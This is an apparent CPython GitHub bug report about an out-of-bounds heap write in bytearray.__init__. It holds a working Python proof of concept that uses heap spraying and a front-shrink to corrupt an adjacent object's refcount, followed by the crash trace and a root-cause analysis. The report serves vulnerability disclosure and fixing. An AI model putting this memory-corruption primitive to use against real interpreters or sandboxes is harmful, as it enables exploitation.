Skip to content

bytearray.__init__ slow-path append ignores ob_start leading to linear heap OOB write #158928

Description

@error-3317

Crash report

PoC

import sys

b = bytearray()
N, K = 400, 150            # offset K after front-shrink; alloc == N
VICTIMS = []
it = None

class EvilIter:
    def __iter__(self): return self
    def __next__(self):
        global b
        if not hasattr(self, "armed"):
            self.armed = True
            b += b'x' * N                        # size N, alloc N (major upsize)
            VICTIMS[:] = [bytes(N) for _ in range(200)]   # adjacent heap spray
            b[0:K] = b''                         # ob_start += K, quick-exit resize
            self.rc = [sys.getrefcount(v) for v in VICTIMS]
            return 0x41
        if len(b) > 448:
            raise StopIteration
        return 0x41                              # each byte lands further OOB

it = EvilIter()
b.__init__(it)
after = [sys.getrefcount(v) for v in VICTIMS]
bad = [i for i in range(len(VICTIMS)) if after[i] != it.rc[i]]
print("len(b)=%d __alloc__()=%d corrupted victims: %r"
      % (len(b), b.__alloc__(), bad[:4]))
if bad:
    print("victim[%d] refcount %d -> %#x  (OOB write proof)"
          % (bad[0], it.rc[bad[0]], after[bad[0]]))
    sys.stdout.flush()
    len(VICTIMS[bad[0]])                         # use smashed ob_type/ob_size
    print("no crash")

Output

$ python3 -X faulthandler main.py
len(b)=449 __alloc__()=489 corrupted victims: [1]
victim[1] refcount 2 -> 0x41414142  (OOB write proof)
Fatal Python error: Segmentation fault

Current thread 0x00007f0ba5586740 [python3.15] (most recent call first):
  File "<stdin>", line 33 in <module>

Current thread's C stack trace (most recent call first):
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _Py_DumpStack+0x30 [0x4f0b80]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x59968b]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x5995de]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x3c050 [0x7f0ba52bd050]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1af309b]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a2d33f]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a72484]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at PyEval_EvalCode+0xa6 [0x1a72182]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1ac87bb]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c7184d]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c71767]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c712c6]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c6fc45]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at Py_RunMain+0x422 [0x1b8d062]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8cc1d]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8ca6e]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x2724a [0x7f0ba52a824a]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at __libc_start_main+0x85 [0x7f0ba52a8305]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _start+0x29 [0x1be5437]

Root Cause

Objects/bytearrayobject.c:1117-1124: inline append tests only Py_SIZE(self)+1 < self->ob_alloc while both writes go through ob_start (= ob_bytes[offset+size]); the intended invariant is size + logical_offset <= alloc, which bytearray_resize_lock_held (:253) does check, proving the inline check is a bug.
The hostile state (offset >= 2, offset+size == ob_alloc) is reached by ordinary operations: major upsize (b += b'x'*N, alloc==size), then front-shrink (b[0:K]=b'' advances ob_start, minor-downsize quick exit). Thereafter the __init__ slow-path append loop writes each iterator byte further past the backing allocation (up to offset-1 bytes).

Versions Affected

Python 3.13+

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Output from running 'python -VV' on the command line:

Python 3.15.0rc3 (main, Oct 3 2026, 01:07:55) [Clang 22.1.3 ]

Linked PRs

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

3.14bugs and security fixes3.15pre-release feature fixes, bugs and security fixesinterpreter-core(Objects, Python, Grammar, and Parser dirs)type-crashA hard crash of the interpreter, possibly with a core dump

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions